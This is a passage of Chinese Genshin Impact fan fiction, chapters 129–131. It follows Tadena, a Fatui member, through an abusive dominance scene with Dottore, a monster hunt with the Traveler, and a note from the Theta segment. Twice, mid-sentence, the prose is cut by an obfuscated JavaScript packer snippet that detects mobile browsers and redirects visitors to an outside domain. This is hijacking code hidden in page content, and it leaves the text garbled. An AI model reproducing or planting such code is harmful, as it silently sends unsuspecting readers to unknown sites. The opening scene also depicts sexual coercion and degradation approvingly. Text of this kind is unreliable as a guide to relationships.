“主人……”不知是出于惶惶,又或者是些微的期待,我颤抖地叫着多托雷,摇摇晃晃地凑过去亲吻他。 从耳垂到鬓角,再到眼睛。 多托雷十分配合地闭上半只眼睛,而另外一只,则如我所愿钉在我的身上。 心脏不知道被什么东西充盈得满满当当,我舔舐着多托雷的嘴角,试图找到合适的机会闯进去。 “看吧,”多托雷犹如嗟叹的声音在我耳边响起,“无论你再如何否认,我们之间的牵连早已将我们绑定成无法分割的整体。塔德纳,你又在犹豫什么,又在惊惧什么呢?” 我有点生气地张开嘴,轻轻地咬在多托雷的下唇上。 多托雷钳住我的下颌,有些粗暴地冲进去,缠住我的舌,报复性地戳弄着我深处的软肉。我感受到反胃的痛苦,泪水一瞬间灌满眼眶。 “你总是学不会任何教训,也学不会向我服软。当然,我指的不是那种表面上的臣服,你明白的,塔德纳,我要的一切,我要你像被打断骨头的狗一样趴伏在我的脚边,连进食都要伸出舌头哀求着乞求。” 我被多托雷亲得几乎丢了魂,连多托雷说什么都反应不过来了。 “你学不会当狗,偏偏又和那些外人搅和在一起,惹上一身奇怪的、令人厌烦的味道回到我的身边。你不听训斥,无论吃了多大的苦头也记不住。塔德纳,你说,我该对你怎么办才好?” 什……什么? “唔……主人……”我几乎要哭起来,犹如脱水的鱼瘫倒在多托雷的肩头。 “不要……不要这样……唔,好难受……” “难受吗?”多托雷的声音在我的耳边模糊地响起。他似乎有些无奈地笑了,甚至颇有闲趣地抬起我的身体,这样的高度和位置,以至于我能够从半开的窗户看到外面的庭院。 “收敛一点,塔德纳。要是有巡逻的士兵经过,从窗户看到你这副表情……”多托雷的余音拉长。 “!” 我被激得差点跳起来要挣开多托雷,但毫无办法,多托雷若是不想让我离开,那么我费再大的力气也不可能移动半分。 我崩溃地哭出来。 “不要……不要在这里……”我崩溃地咬着多托雷的肩膀,那里单薄的衬衫被我的口水洇湿。 “主人……我不要,不要在这个地方……求求您……” 多托雷伸手压着我的后颈,轻声嘶了一声。 “求人是你这么求的?”他笑骂了一句,“真是的,在这方面倒像是狗了。养不熟的狗。” 但我已经听不进去多托雷说的什么了。我的脑海里此刻只剩下一个念头:那就是不能让别人听到我的声音,不能被发现是这么一副丢人的样子。 “求我,塔德纳。只要你来求我,我会帮助你的,塔德纳。” 犹如恶鬼低声诱惑。 “主人,求您……求求您,我想要……唔……” 我早已沉沦。 “就是这样,塔德纳。”多托雷笑了。他欣赏着。 “只有我才是和你同一边的,只有我才能接纳你的一切。你的低劣,你的卑微,你的装模做样,你的恐惧害怕。” “别走的太远,我对你的耐心是有限度的,塔德纳。” 多托雷将我压在窗边,他几乎是强硬地迫使着我去幻想那被其他人撞见自己不堪的、卑劣的一面,然后被厌弃、被指点,最终只能灰溜溜地乞求这一切始作俑者的怜悯,乞求他的收留。 如此不可理喻。 但我的身体,乃至我的精神,都似乎在这样的过程中被填满。 或许多托雷是对的。 我是如此的卑劣,如此的不堪,即使被暴露在阳光下也在时刻恐惧着。 我唯一的归宿,在黑暗里。 129.第 129 章 璃月港在经历过上次的魔神复苏的灾难后,以十分迅捷的速度开始了复苏。 那日之后,我在房间里整天被多托雷盯地头皮发麻,于是不得不找一些理由独自出门以求避开多托雷。 在璃月港,我遇到了一些熟人。 路过冒险家协会的时候,看到了熟悉且可靠的背影。 “旅行者大人?还有派蒙大人,没想到能在这里遇见两位。” “啊,是塔德纳!”派蒙转过身,在看到我的一瞬间眼睛惊喜地亮起。 “好久不见,塔德纳。”旅行者也对我挥了挥手。 “好久不见。说起来,在这里遇见二位,”我抬头看了一眼冒险家协会的标识,“两位大人是有什么任务在身吗?” “是一则消除魔物的委托啦。很简单的任务,旅行者唰唰唰,三两下就可以把魔物打倒在地了!” 派蒙一边向我解释着,一边双手举起,像是真的手握长剑一样和魔物对阵。 我被派蒙可爱的样子逗笑了,就连旅行者也弯了弯眼角。 多日被蒙在室内好似都要阴暗发霉的内心似乎稍有回暖。 大概是今天的天气的缘故吧。我想着。比起前段时间似乎要清爽一点。 如此意外的相遇。 我本来打算在打过招呼后便识相地告别离开的,不过这次,稍微出乎我意料的是,旅行者主动邀请我要不要一起去完成委托。 “说是委托,其实是总务司堆积已久还未处置的杂事,因为不算严重,加上之前发生的混乱,所以便拖到了现在。很快就能解决,委托结束之后正巧有时间,这次,就由我来请客吧。” 旅行者笑着看向我。 我愣了一下。 “好啊。”我的内心泛起绵密的暖意。 “到时候要是有什么危险,可要拜托拜托旅行者大人保护我了。”我半开玩笑地道。 “当然。到时候遇到危险,塔德纳只需要躲到我的身后就好了。我会唰唰唰地打跑魔物。” 即使心中理智的声音无时不刻不在告诉着我,我和眼前的光明从来不是同伍之人,但这样的邀请,满含着盛意,又如何能让人拒绝呢? 就如同【女士】大人临别之前告诉过我的那句箴言一般,偶尔让自己任性一下,或许也并无不妥吧。 我如此在心中轻而易举地劝服了自己。 而我也确实是一个很擅长劝服自己的人。 按照旅行者的说法,被魔物困扰的人家在归离原附近。其实情况刚被上报上去的时候总务司早已经派过专人来处理过了,然而,过了两三天,又有相同的魔物出现在附近,数量甚至比上一次更多,聚集在一起,就像是被什么吸引过来一样。 虽然是被吸引聚集,这些魔物却并没有伤害过人类,只是单纯地聚集在一起。再后来,碰上魔神复出,璃月港因为“岩神的死亡”陷入权势的更迭中,这件事一来二去就被耽搁到了现在,直到今天,被旅行者接下。 “魔物因为不明原因而聚集在一起吗?真是奇怪的现象。一般来说,就算是野外出现的魔物,一旦靠得太近就会引起对方的攻击欲望,而报告里的情况,却似乎违背了这一常理。” “估计是有什么特殊的地方没有被发现。”旅行者也赞同我的看法。 “我问过总务司之前派出的解决这件事的负责人,但他也没能提供更多的线索,想要找清楚原因,只能靠我们自己了。” 说到这里,旅行者顿了一下,那双金色的眼睛偏转向我的方向。 “塔德纳有什么想法吗?” 我被突然的提问问得有些不知所措,就连大脑也空白了一瞬间,冷不丁的,我竟然生出一种被老师点名站起来回答根本就没有认真听讲一点都看不懂的问题的感觉。 “啊……想法吗?嗯……是说那些魔物的奇怪举动吗?”我有些冒汗了,疯狂地在大脑里搜刮多托雷是不是研究过相关的内容。 原谅我吧,毕竟我只是个毕业证都没有就进了黑心组织打工的文科生而已,魔物的行为研究什么的,无论怎么看都似乎是更生论派的研究吧? “可能是被人故意引诱过去的?用那种会吸引魔物的气味或者药物之类的。” “你的意思是,可能是有人故意而为之吗?”旅行者若有所思,“我倒是没想到过这种可能性。可是,如果是有人故意的,那他的目的是什么呢?” 旅行者思考地那样认真,似乎就真的完全将我几乎是胡诌出来用来应付回答的话当成真相了。 我汗流浃背,一瞬间怀疑起刚刚旅行者的“随口一问”又真的是否是随意一提。 可是,这样的怀疑完全没有根据,只是出自我个人的主观感知罢了。 应该只是我多想了吧。肯定是最近和多托雷不管白天黑夜都待在一起,给自己待出神经衰弱了。 我干脆利落地把锅全部推到多托雷身上,并开口转移了话题。 “现在也说不准吧。还是先到实地调查一下,说不定只是因为那附近长了会吸引魔物的植物。魔物被植物的气味所吸引而聚集,这样的情况也很常见。” 旅行者沉声道:“你说得对。” 于是刚才的那一点插曲又完全像是没有发生过一般了。 等我和旅行者、派蒙一起到了委托内容里提到的被魔物侵扰的村子时,早有村民翘首以盼等待许久。 村民向我们提及了这段时间魔物聚集的时间和频率,还给了我们一张标明了几处经常能发现魔物的地点的地图。 旅行者打开地图,派蒙飞到旅行者的手边观看着,而我则在另一边,和派蒙一左一右将旅行者夹在中间。 “唔……这些地点,好分散,根本看不出来有什么关联嘛。” “光看地图确实看不出来什么。”旅行者宽慰派蒙,“恐怕还是要现场调查一下。” 说着,旅行者抬头看我。 “我们现在要去一个个调查这些地方。你要一起吗?塔德纳。” 派蒙有些担忧:“不会遇到魔物吧,这些地方……” “放心吧,这不是还有我在吗?” “好啦好啦,知道你很厉害了。”派蒙竖起手指,“那你记得要保护塔德纳哦。毕竟派蒙会飞,塔德纳既不会飞,也没有神之眼,到时候最危险的就是他了。” 我露出略显柔弱的微笑配合。 “放心啦,派蒙要是不放心,到时候也可以拽着塔德纳飞起来,这样塔德纳就不会被魔物攻击到了,魔物又不会飞。” “?想想都不可能吧,我这么小,怎么可能带着塔德纳飞起来?!” 我笑着凑近派蒙:“派蒙大人不要丢下我啊,我只能仰赖派蒙大人出手相救了。” “怎么塔德纳也跟着旅行者一起开派蒙的玩笑啊!” 如此轻松的玩笑过后,我们很快便开始前往第一处调查点,也是距离村庄最近的一处。从这处点位,只需要步行十几分钟就能到达人居住的地方。 不难想象如果魔物哪日失去理智,冲进村庄也只是短短几分钟的事。 我们在点位附近寻找了一圈,只找到一些魔物的脚印和被压塌的草丛。 脚印最密集的地方,遍布好几种不同的魔物脚印,但虽然密集,却并不混乱,也没有发生过争斗的痕迹。 旅行者从背包里拿出一瓶试剂。 我看着旅行者泼洒试剂的动作,好奇地询问。 “这是什么?” “能显示魔物踪迹的药剂。”旅行者道,“只要洒在出现过魔物的地方,就能通过元素视野追寻到魔物离开的方向,只要时间没有过得太久……啊,找到了。” 派蒙飞过来:“在哪儿呢?” 我没有所谓的元素视野,于是趁着旅行者和派蒙两人不注意的时候从储物袋里动作迅速地拿出一枚邪眼,放在身侧的口袋里握上驱动。 这一下,贴合地面的空气里,一道若有若无的粉色痕迹浮现,指向西南的方向。 原来是这样。 我有些惊奇,第一次知道元素力还能这么用。 “塔德纳。”派蒙叫我,“快来,我们要去追踪魔物了。” “好。” 我应了一声,松开对邪眼的催动,于是刚才还能看到的浅粉色的痕迹完全从眼睛里消失。 旅行者对一切变化的感知都非常敏锐,为了不让旅行者生疑,还是谨慎一点比较好。 我们一行人朝着西南的方向走去。虽然药剂能显示出魔物的去向,但很显然,因为时间已经过去太久,即便能显示,也并不是连续的,痕迹断断续续的后果就是,我们所行进的路,偶尔会比较奇怪。 我有些呆滞地看着旅行者面对一面翘崖催动岩元素力。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15658495|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“荒星!” 嗵地一下,一个巨大的岩元素造物凭空出现,镶嵌在山体上。 旅行者轻巧且熟练地跳上去,然后转身向我伸出了手。 我有些艰难地咽了口口水。 “我们……一定要从这里走上去吗?我的意思是,这附近应该有上山的路……” “不,你不懂。”旅行者眼神坚毅。 “两点之间,当然是直线最短!” 我:“……” 等我在旅行者一遍又一遍的“荒星”中终于登上山崖,看着旅行者轻巧地拍了拍手,即便是永恒不衰的躯体,我也不免感到有些疲累了。 看来我不太适合冒险家的生活。 我的心里只剩下这一个念头。 之后又行进了没多久的时间,旅行者走在最前面,突然发出一声疑问。 “嗯?怎么回事,痕迹到这里突然断掉了。” 旅行者蹲下来,拨开一堆草丛,在地上发现了好多混杂在一起的脚印。 “啊,是脚印,和刚才的一模一样。”派蒙惊呼道。 “可是,为什么会突然断掉?总不可能是那些魔物突然一下就消失了吧。” 旅行者没有回应。 即便是见多识广的旅行者,此刻面对突然断掉的线索也感到有些棘手。 一时间大家都陷入了沉默。 就在此时,我突然听到远处似乎传来了什么轰隆隆的声音,很小声,几乎要让人以为是错觉。但很快,我就确定那不是错觉了,因为声音越来越大,甚至连地面似乎都在震动起来。 就在距离我们稍远一点的方向,一大批魔物正在狂奔而来,黑压压的像一团墨点,但随着越来越近,可以看得到那是一群规模相当壮大的魔物群,种类很多,史莱姆,丘丘人,岩龙蜥,甚至连遗迹重机都有。 我感到头皮发麻,身边传来派蒙惊恐的声音。 “这到底是怎么回事?!怎么会有这么多魔物?” “这不对劲。”旅行者拔出长剑,“我们先离开,那些魔物数量太多了。” 就在我们准备撤离的时候,我突然感应到脚下的泥土震动,似乎有什么东西在地底流窜,方向正往旅行者的方向。 “小心,地底有东西!” 下一刻,有着花冠头的魔物骤然从地底钻出,旅行者跳起来躲过,手中的长剑劈砍,元素力凝聚的风刃将骗骗花击飞。 但危机并未就此解除。不只是我,旅行者也同样感受到了,震动的幅度越来越剧烈的地面,越来越多的骗骗花从地底钻出来。 “啧……糟糕了啊……”旅行者神色凝重地看着眼前密密麻麻的魔物。 “怎……怎么办啊?!”派蒙慌张地躲在旅行者身后,“我们不会要交代在这里了吧,旅行者!” 我此刻也正站在旅行者身侧,紧盯着围拢成一个圈的这些骗骗花们。不只骗骗花,那群正在靠近的魔物也有一些已然能看到轮廓,再过不久就会加入到对我们的包围圈里。 这些魔物都虎视眈眈地看着我们,似乎正在找准一个时机便要一起上来进攻。 确实是很糟糕的情况…… 这些骗骗花之所以现在在观望,只是因为畏惧刚才旅行者打飞最开始那只骗骗花时所展现的武力而已,如果不能快点想出解决的方法…… 我握紧口袋里的那只邪眼,陷入纠结中。 “塔德纳,你先带派蒙逃出去,我来垫后。” “什么……” 我差点要怀疑自己的耳朵出了问题。 但没有。 我看向旅行者,旅行者也正看着我,那双金色的、犹如太阳的眼睛直视着我,怀着某种笃定。 笃定…… 笃定着什么呢? 我已经来不及细想了,或者说,我不敢去细想,旅行者让我带着派蒙逃出去的深意,路上询问我看法的缘由。无论是出于什么原因,都必然不是我想看到的,都必然是我在一直逃避的那个可能。 我咬了咬牙,在那一瞬间,以最大的功率催动了口袋里的邪眼。 风系邪眼。 只要制造出一个威力足够巨大的龙卷风,就能将重量较轻的骗骗花完全卷到一起,为我们创造出足够逃跑的时间。 一切巧合都宛如精心设计好的剧目,只等台上的演员心甘情愿地揭下面具。 130.第 130 章 一切都如同我预想中的画面一样进行。 骗骗花被风元素制造出来的巨大风卷卷在一起,旅行者和派蒙双双露出惊愕的表情,甚至忘记了要逃跑的事情。 “快走!” 我在心里一遍一遍告诉自己要保持冷静,一边伸手拉住旅行者和派蒙,飞快地逃离。 一直跑了很久,等到再也听不到那魔物的声音后我们才敢停下来。 “累……累死我了……”派蒙气喘吁吁,“那些魔物,到底是怎么回事?怎么会突然出现那么多……太可怕了。” “不过,刚刚的风元素力,是旅行者你出手了吗?但是,派蒙明明记得旅行者一直在我的身边……” 派蒙晕乎乎的视线在旅行者和我的身上徘徊。 我心里一紧,视线虚晃的时候正好与旅行者探究的目光对上。犹如烈阳一样滚烫的金色眼睛,看向我的时候带着审视和一点警惕。 派蒙也察觉到气氛突然变得凝滞。 “怎么……旅行者,你为什么要一直看着塔德纳……” “派蒙,刚刚的元素力,不是我的。” “诶——?!”派蒙几乎要惊讶地跳起来。 尽管飞在空中的派蒙很难说要怎样做才能完成“跳”这个动作。 我几乎快紧张地停滞的脑海中不合时宜地闪过这个想法。我疯狂地思考着该如何处理眼前的这件事情才能让自己不暴露,至少最少,不要让自己失去这份来之不易的、被我单方面视作“友情”的朋友关系。 谎言? 不,旅行者很明确地看到了当时风元素力的产生过程,在场的人中,能使用元素力的只有我和旅行者本人。一个再简单不过的排除法,即便是稚童也能够轻而易举地发现真相。 掩盖? 行不通……我现在根本想不出来任何可以不着痕迹地遮掩过去这件事情的方法。就算是迷晕旅行者和派蒙然后对她们进行记忆清除也行不通,先不说“能打过旅行者”这个前置需求就难以实现,更何况…… 我忍不住再看了一眼旅行者。 我既经历过被清除记忆的迷茫和痛苦,便不能将如此之事施加于他人之上。 清醒点!塔德纳! 一定还有其他方法,一定还有其他方法可以解决这件事情!你不是多托雷,也不能成为多托雷那样的人! 紧绷的大脑和骤然下坠的心绪让我陷入一种失氧的真空感。我感受到头晕,甚至四肢发软。我不知道在我如此纠结的时候外界的时间过去了多久,我甚至在一瞬间有过自暴自弃的念头,想过不如就直接自爆身份,告诉旅行者我是她最讨厌的愚人众,做尽了坏事,身上的人命数不胜数。 我的罪孽深重,犯下的罪行若是被送到欧庇克莱歌剧院被那个什么名字拗口的谕世裁定枢机审判,恐怕要被送到梅洛彼得堡打零件打到天荒地老。 但我不敢。 即便我的内心预演过无数次壮烈的坦白,无数次坦然的割席,我懦弱且卑劣的本性依然不会因为发生半分的改变,不会有半分的坚强。 我,是一个在偷偷窃取不属于自己的阳光的小偷。 …… “塔德纳?塔德纳?你没事吧?怎么办,旅行者,塔德纳看起来脸色好苍白,也听不见我叫他,不会是刚刚受伤了吧?” “我没在塔德纳身上发现伤口,但他现在的状态确实很不好。” 一个陌生的气息靠近。 “嗯……看上去像是陷入了一种应激状态。你们确定当时你们逃出来的时候他没有受伤吗?或者说,有没有受到什么惊吓?” “惊吓……要这么说的话,派蒙觉得那么多魔物聚集在一起就已经超级恐怖了。” “还是先把塔德纳送到医馆吧。夜兰,这里的事情恐怕要拜托你了。” “无妨。凝光已经注意到这件事,我在此便是接管这件事了。” “不过……”陌生的女人的声音一沉,暗含试探:“你们的这位朋友,来头似乎不简单呢。刚才山头那突然出现的庞大的风元素力……” “塔德纳没有神之眼。”少女急促地开口,过了一会儿,似乎又觉察出自己的鲁莽。 “至少我没有发现过他的神之眼。”少女补充着,“但当时,我也同样没有看到过塔德纳出手的动作,说不定不是他。” “……既然是旅行者的判断,我自然是相信的。有关此事的后续进展我之后会再联系你的,你们还是先送朋友去医馆吧。” …… 在多托雷身边待了几百年,结果却因为害怕“被旅行者发现身份后厌恶离去”的可能性而陷入情绪过载的状态,即使是由我自己评说,也不免觉得过于丢人了。 连我自己都没能发觉,旅行者在如此短期内对我累计的影响竟然已经到了这个地步。 我叹了口气,心里有些发空。 “哈哈,看到大乐子了。不枉我从至冬辛辛苦苦飞到璃月,避开无数眼线才潜入进来这不卜庐。” 眼前,浑身金属质地,看上去年代颇远的机械鸟在窗棱上激动地跳了好几下。 机械师欠揍的声音从机械鸟的身体里发出:“要是那位大人知道您为一个异邦的旅人骇动如此地步,恐怕要酸到恨不得把那个旅行者连同她身边那个小精灵一起扒皮抽骨了吧。” 我忍不住伸手在那颗机械的鸟头上用力屈指弹了一下。 “多托雷在你心里是什么超绝恋爱脑吗?再说了,我只有一两秒的时间差点没能控制住自己的情绪而已,如果不是需要找一个完全不会被多托雷监听到的地方见你……” “哎呀,哎呀,疼,疼,好大人,别打了,再打鸟头要掉了。” 机械鸟用翅膀捂着脑袋逃跑,样子颇为滑稽。 “好了,没时间和你闲聊。我们的时间不多,说说吧,急到不惜跟着我飞了一路,趁着我装作意识完全不清醒的时候给我传信要见我是为了什么?” 提到正事,机械师的态度稍微端正了一点。但一只机械鸟变得端正…… 我看着收敛笑声,展开翅膀颇为人性化地双翅举起正了正脑袋的机械鸟,竟然从这鸟上幻视出一点人的模样来。 我感到有些怪异。 机械师这家伙,真当鸟当出精来了是吧。 这样悠闲地想着,我听到机械师的声音,还带着他未完全收拢的一点打趣和轻佻。只一句话,便让我原本还算轻松的情绪瞬间冷却。 “我发现了您要找的那位大人的踪迹,就在璃月。” Theta切片。 我陡然反应过来,惊骇之下差点摔下椅子。 “哎哟,小心点,好大人,瞧您激动的。”机械鸟振振翅膀。 “你说Theta在璃月?!这不合理,他不可能不知道多……主人也在璃月……” “先别急啊,好大人。还有更让人惊讶的呢。想知道我为什么会出现在您遭到袭击的地点附近吗?” “……为什么?” 我隐隐感觉到那是一个堪称惊恐的真相。 “我追踪那位大人留下的蛛丝马迹到了那处山头,在那里,我看到了那位大人的——本尊。他就在您的不远处,甚至距离相当之近。那位大人发现了我,并且,给了我这个。” 说着,机械鸟仰头“嗬”了一声,然后低头。 忒——一张被卷成卷的纸条从鸟嘴里吐了出来。 我:“……” 刚在心中酝酿好的情绪一下子被打断了。 “你这也太不文明了。”我指责道。 “嗯?哪里不文明了?” “随地吐痰。” “……” 机械鸟沉默。机械鸟暴跳如雷。 “这不是吐痰!呸,这当然不是吐痰!纸都是干的!” “但是好恶心。” “……这就是那位大人给我的纸条,您就说您要不要吧!” 机械师看起来恨不得要冲出机械鸟的身体出来跟我“以武会友”了。 我犹豫了几秒,最终还是选择说服了自己。 我伸出食指和大拇指,捏成尖把桌面上的纸卷捏起来,面露难色地展开。 还好,至少有一点机械师没有说谎,纸条确实是干的。 纸条的大小不大,看上去更像是随手从实验报告用纸上随手裁下的一块,张开的时候露出里面被人随性划下的三个字: “去稻妻”。 我心神惊颤,几乎是看到那字迹的一瞬间我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15665631|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内心就有一道声音完全笃定地告诉我: 这是Theta,Theta回来了,他就在我的身边。 甚至是在距离我只有几百米的地方,可能稍微转头便能够看到的地方。 我感到全身上下的血液都像是在逆流一样,我说不清自己此刻的情绪和想法,只知道脑袋像是被人用铁棒狠狠击中了一般,又晕又疼。 我在害怕Theta切片出现吗? 不…… 那我是在期待Theta切片出现吗? 不……这也很难说。 Theta切片于我而言是不知如何处理的例外,但同样的,我的内心或许还潜藏着些许问题想要问他。 为什么要逃跑? 为什么会突然出现在璃月? 为什么要留下纸条让我去稻妻? 为什么,要欺骗我?明明说过会一直接纳我,接纳我的一切。 这些疑问驱使着我的内心,驱使着我第一次萌生出一种“一定要找到Theta切片”的念头。 我忍不住捏紧手中的纸条,情绪震荡下,纸条在我的手中变形褶皱。 “等等,这纸条背面好像有字!” 机械师的声音将我的理智唤回。 我松开手,翻过纸条,在皱皱巴巴的纸面上看到因形变而弯弯曲曲的几个字。 我的爱人,塔德纳。 字迹同出一人,但笔迹却与另一面的三个字比起来端正许多。 我条件反射性地把手掌反拍在桌面上,发出了有些大声的“啪”的声音。 “?等等,我还没看清楚写了什么呢。好大人,倒是给我也看一眼啊。好大人?……好大人,您怎么脸红了?” 我攥紧拳头。 “没什么东西……你看错了。” “怎么可能?我这机械鸟的眼睛可是经过改造的,使用的是由我发明的最先进的摄像头,就算是万米之外的细节也能看得一清二楚。这纸条背面肯定有字!您可以质疑我的人品,但绝对不能质疑我的业务能力!” “啧……”我咬了咬牙,推搡着机械鸟想要把它强硬着推出窗外。 “喂,好大人,您这可是过河拆桥!不会是那位大人写了什么见不得人的东西吧!” “闭嘴……机械师。” “哇,您这是恼羞成怒了吧!肯定是吧!我就说,那位大人交给我的时候还威胁我不准拆开看,否则要把我碾成铁粉,这么神秘,肯定是写了见不得人的东西!好大人,让我看一眼,就一眼!只要能让我看一眼我什么都会做的……啊——” 我一把抓住机械鸟的身体扔出窗外,然后“啪嗒”一声关上窗户。 窗纸都随着我这样粗暴的动作颤了颤。 Theta切片那个家伙,到底在写些什么啊…… 我把纸条做贼心虚般地揣进口袋里,似乎这样只要不看见第二遍,就不用面对纸条上写了什么的现实。 心跳快得像要冲破胸膛了。 我伸出一只手捂住心口,掌心被自己的心跳震得有些发麻。 直到心情稍微平复了些许,我想了想,最终还是打开储物袋把纸条放了进去。又害怕放在太表面的地方会被多托雷发现,于是把上层的一些东西拿出来,准备把纸条放在更下面一点的角落。 我一件件拿出来: 凯亚送我的冰花,出门时薅了一箱的七色邪眼,林尼写给我的信件,冬妮娅之前送我的照片成果,还有…… 我整理的手一愣。在最底层的地方,一枚半只手掌大小的机械心脏显露出来。 这不是我的东西……我不记得我有收到过这样的东西。但我的储物袋,只有多托雷和我自己才知道…… 不,也不只是我和多托雷。还得算上一些切片…… 我很确信至少在收到凯亚送我的冰花的时候我的储物袋里还没有这个东西。在蒙德那段时间到现在有机会翻到我的储物袋并在我不知不觉的情况下把东西放进去的人…… 我的脑海中浮现出那个名字,手掌中的纸条此刻显得有些硌手。 不远处,门突然被敲醒。 “你好,我是不卜庐的白术,我刚才听到屋内发出的声音,是发生什么意外了吗?” 131.第 131 章 不卜庐,位于璃月港的医馆,其现主白术,医术通玄,仁心济世,在璃月颇有美名,唯有一点让人不解的是,这位大夫的身上总是会盘着一条白蛇。蛇非凡蛇,能通人言,想来来历不凡。 我在听到声音后急忙把拿出来的东西全部放回储物袋,站起身整理了一下衣服,确认从自己的样子看不出来什么不对后才拉开门,第一眼,落到了来人肩上的白蛇,下一眼,则是男子颇显怪异的瞳目。 金底竖目,犹如蛇瞳。 男人,或者说不卜庐的医师白术,目光温柔地看着我,面带笑容。 “你醒了?身体有觉得哪里不舒服吗?” “没有。”我谨慎地摇头,“多谢您的救治。您就是白大夫吧?我早就听说过您的善名,在此向您表示感谢。” “无妨。治病救人本就是医师行医之责。与其感谢我,不如还是感谢把你送到不卜庐来的旅行者吧。”白术的笑容亲和,但我从其中感知出一点疏远。 “旅行者就在外面等你,想要去的话轻便。” 白术的提议正合我意。我稍微与面前的医师作了简单的辞别便循着白术所指的方向出去了。 在走出不卜庐的时候我下意识地停顿一下往后看了一眼,正巧看到那绿发的医师似乎正在与肩上的白蛇攀谈着什么,金色的蛇目无比认真。 那白蛇突然停止了交谈,朝我的方向看了过来。 我赶紧收拢视线离开,心脏却无端因为刚才的那一瞥视而轻微震颤着。 本来也并非真的完全陷入了不可控制和支配自己的境地,所以其实在被旅行者送往不卜庐以及之后的就诊环节,我都还保留着自己的意识。 当时,我被放到在床榻上,那名名为白术的医师对我进行了一番检查,最后告诉旅行者我的“身体并无大碍,只需要等待醒过来就可以了”。 “从脉象上来看,这位患者的身体很健康,甚至,我几乎没有见到过比眼前更加健康的躯体,当然,那些仙人除外。”男子清润的声音似乎犹在耳畔盘旋。 “总之,不用太过担心,或许只是当时情绪过于激动才会出现旅行者向我描述的那种情况,现在的他很健康。” 那位谜团满身的医师,我或许该在解决这件事情后有必要调查一下。对于我的身体状态,尽管多托雷也曾说过“拥有超越绝大多数凡人应有的活力”,但我无法确认只是假装昏迷时那样简单的看诊,那位医师究竟得到了多少信息。 如果那个叫“白术”的医师看出来了,并且把这种事情告诉给旅行者…… 想到这里,我不禁感到头疼和棘手。一旦涉及旅行者,多余的顾虑和需求会让事情的解决变得扑朔迷离,如果真的出现了那样的情况,我也暂时想不出来好的解决方法了。 一边这样想着,不知不觉间我也按照白术所指示的方向到了外面,一抬头便能够看到旅行者的身影。就在不卜庐外面的空地,倚靠着木制的栏杆。 派蒙并没有在旅行者身边。 我为这难得的发现挑了挑眉,心中却不太能雀跃得起来。 我走到旅行者身边,放轻了脚步,思考着应该以如何的话语开启这场注定不会很轻松的对话。 应该要先道谢吧,一般来讲是这样的,毕竟麻烦旅行者出力才把我带来不卜庐。那之后呢?解释?还是直接认错,为“因为一些原因不得已而隐瞒自己身份”的事情道歉,比较真诚的话或许会更令人容易接受和原谅。 这样的话,和往常惯用的流程方法倒是差不多的。 我在心中完成了预定的稿子,便准备开口。 “旅……” “如果是塔德纳的话,总感觉是很容易就能够取得他人信赖的那种人吧。待人接物温和,对谁都是恭恭敬敬的,不带一丝错误的,无论做什么事都是有条不紊,让人在交托事情的时候觉得很安心。” 旅行者目视着远方,金目中映着琉璃瓦的轮廓。 我的话卡在喉咙里不上不下。 我张了张嘴,发现自己不知道该说什么。 旅行者突然笑了。 “就算是塔德纳,也不知道该怎么回复我的话了吗?我还以为像塔德纳这样舌灿莲花,那样懂得讨人欢心的人,无论别人说什么都能找到最合适的话来回答呢。” “……我不自认为是逢上媚合的人,又怎么会天生什么讨巧的话都说得出来。” 我突然感到一阵释然,空虚地扫卷过我的胸腔,那同样空虚的胸腔,渴望着拥有正常人所充盈着的状态的胸腔。 “旅行者大人既然如此开场,想必是有什么问题要从我这里获得答案吧?请问吧,我会保证在一定程度上对您知无不言。” “‘一定程度上对我知无不言’……看来,我这也算是在愚人众拥有人脉了?”少女侧脸看过来,脸上的笑容故作轻快。 我:“……” 我叹了口气。 “看来那位夜兰小姐与您说了很多,天权星身边的秘密情报官果然掌握着就连壁炉之家也会歆羡的部分情报和获取情报的来源。” “或许我该感谢,至少您并没有让派蒙大人留下来旁听这场舞台上的悲喜剧主角揭下面具的时刻。手段拙劣,剧情俗套,即使是最浅显的观众也会大骂出声。” “派蒙和七七喝椰奶去了,说是‘既然塔德纳看起来还会昏迷很久的话,派蒙因为逃跑耗费了太多体力所以需要去补充体内能量也是可以被接受的吧’就飞走了。” 我愣了一下,忍不住想要笑出来。 “派蒙大人倒是一如既往地……”我想了想,“天真烂漫。”最终选择了一个合适的词语。 “但无论如何,我还是要感谢您。当然,如果您可以不把我的这件事情告诉给派蒙大人的话,我还可以用十倍于我平日的感谢量,向您表示我最高的谢意。” “你希望我欺骗我的同伴,就为了隐瞒你愚人众的身份?” “……” 我有些无言。我不敢去看旅行者的表情,这样的话对我来说太苛责了,甚至超出了我的承受范围,我甚至生出一种逃跑的想法。 跑啊,马上离开这里,马上逃避这里。 但我的脚下发了芽,腿也灌了铅,跳不下去,也飞不起来。 于是我只能笑。 “好吧,看来是我的请求太过无理了。冒犯到您很抱歉,请忽略我刚才的话就好……旅行者,大人。” 旅行者没有回应我。 我不敢细想,或许这是旅行者不再想要和我交谈呢?甚至是连再看一眼我都会觉得污秽,后悔与我相识的这些时间,怀疑我的蓄意接近。 “说起来,”旅行者再次开口。 我悲然地准备接受一场可怖的结局,违背我希冀的,要将我的一切否认的…… “塔德纳总是给人一种很难接近的感觉呢。” “……” 